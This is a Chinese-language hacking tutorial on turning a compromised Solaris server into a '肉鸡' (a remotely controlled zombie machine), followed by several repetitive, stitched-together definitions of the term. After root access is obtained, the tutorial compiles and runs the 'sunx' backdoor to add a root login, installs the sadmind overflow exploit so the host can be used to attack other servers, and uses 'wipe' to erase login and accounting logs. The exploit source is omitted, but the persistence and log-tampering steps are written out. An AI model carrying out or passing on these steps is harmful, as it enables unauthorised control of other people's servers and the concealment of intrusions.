肉鸡又叫肉机,就是可以自己可以远程控制的机器(无论是装木马还是留了后门).叫肉鸡,是指成了你的猎物,由你自己样都可以.
简单肉鸡制作
--------------------------------------------------------------------------------
一.前言..
后门制作对于成功入侵后保持权限有很重要的意义,本文介绍简单的实用后门的制作技术,以及如何制作一台肉鸡.(哈哈哈~不要变成坏孩子哦!)
二.准备..
首先我们需要1.sunx 2.solaris远程溢出程序 3.wipe
以上工具可以在http://www.juntuan.net或者http://hlc.cnroot.com找到.
三.过程..
#id
uid=0 (root) gid=0 (root) (哈哈哈哈~~成功拿到root)
#vi sunx.c
……
……
:w
:q (保存退出vi)
#gcc -o sunx sunx.c
: command not found (昏~where is gcc)
哈哈~一般solaris主机默认没有gcc,但是管理员通常会在/usr/local/bin/下安装一个.当然我们也可以用whereis命令查找..
#whereis -b gcc
gcc:/usr/local/bin/gcc (哈哈~出来了哦~!)
#/usr/local/bin/gcc -o sunx sunx.c (编译sunx.c为可执行文件)
……(过了一会儿)
#chmod 755 sunx (设置为可执行)
#sunx （有人偷看MM洗澡澡啊~~打色狼~哈哈哈)
……
这样就安装好一个backdoor了
你可以telnet host(ftp也可以) 用sunxdoor这个用户名登陆(root权限)
作为肉鸡一定要可以作为入侵其他服务器的跳板,所以一些常见的溢出程序一定少不了.所以下一步是安装这些程序,我以sadxmind为例子.
# vi sad.c
……(程序内容省略)
:w
:q
#/usr/local/bin/gcc -o sad sad.c
#chmod 755 sad (这样就可以使用sad了)
恩~我们还缺少一样东西,哈哈~就是擦pp的东西,哈哈哈哈~~~~~~(要不然被发现就惨了,呵呵~)基本就是清除utmp&utmpx&wtmp&wtmpx这几个文件(当
然还有其他一些log文件),我们可以利用wipe程序...
#vi wipe.c
……
#/usr/local/bin/gcc -o wipe wipe.c
#chmod 755 wipe
#wipe(看看使用参数)
USAGE: wipe [ u|w|l|a ] ...options...
UTMP editing:
Erase all usernames : wipe u [username]
Erase one username on tty: wipe u [username] [tty]
WTMP editing:
Erase last entry for user : wipe w [username]
Erase last entry on tty : wipe w [username] [tty]
LASTLOG editing:
Blank lastlog for user : wipe l [username]
Alter lastlog entry : wipe l [username] [tty] [time] [host]
Where [time] is in the format [YYMMddhhmm]
ACCT editing:
Erase acct entries on tty : wipe a [username] [tty]
肉鸡的意思很多的，不过大部分是指经过入侵后自己的一台代理服务器，留有后门方便自己进入，通常机器的性能都很好，可以用来代理扫描和试探性进攻，即使第三方发觉你通过肉鸡入侵也不好反查
如果你的机器被入侵，获得控制权，可以由别人用来做一些扫描，攻击或其它工作就是肉鸡
肉鸡就是有漏洞的计算机,当然是在互联网上的.一般是服务器，因为服务器常时间不会关机,这也是大多数人愿意用服务器做肉鸡的.而一般虚拟主机都开3389端口,也就是远程登陆服务,本不是漏洞,但到了我们手里,我们就拿它当做BUG了.
什么是肉鸡？
对于刚刚接触网络技术的菜鸟们，看到文章后，里面是不是常常提到肉鸡？其实肉鸡这个名词很好“肉鸡“简单理解为具有可以被入侵的机子也就是“被入侵者”（可以说是受害者，入侵者不会便宜肉鸡的），一般肉鸡是存有漏洞，才会被入侵的，被种了木马也是肉鸡，相信你有一点理解了吧，在以后的入侵中，“肉鸡”这个名词你自己会明白的。
什么是3389肉鸡
“3389肉鸡”是指开了网络端口：3389的机子，而这只机子正好可以入侵，所以可以叫3389肉鸡，虽然我的解释还不是那么的详细和清楚，它的概念可以怎么理解，到时你接触到它，你就会理解。
肉鸡又叫肉机,就是可以自己可以远程控制的机器(无论是装木马还是留了后门).叫肉鸡,是指成了你的猎物,由你自己样都可以.
内容全部来源于网络收集，如有侵权，请联系网站删除：QQ：24596024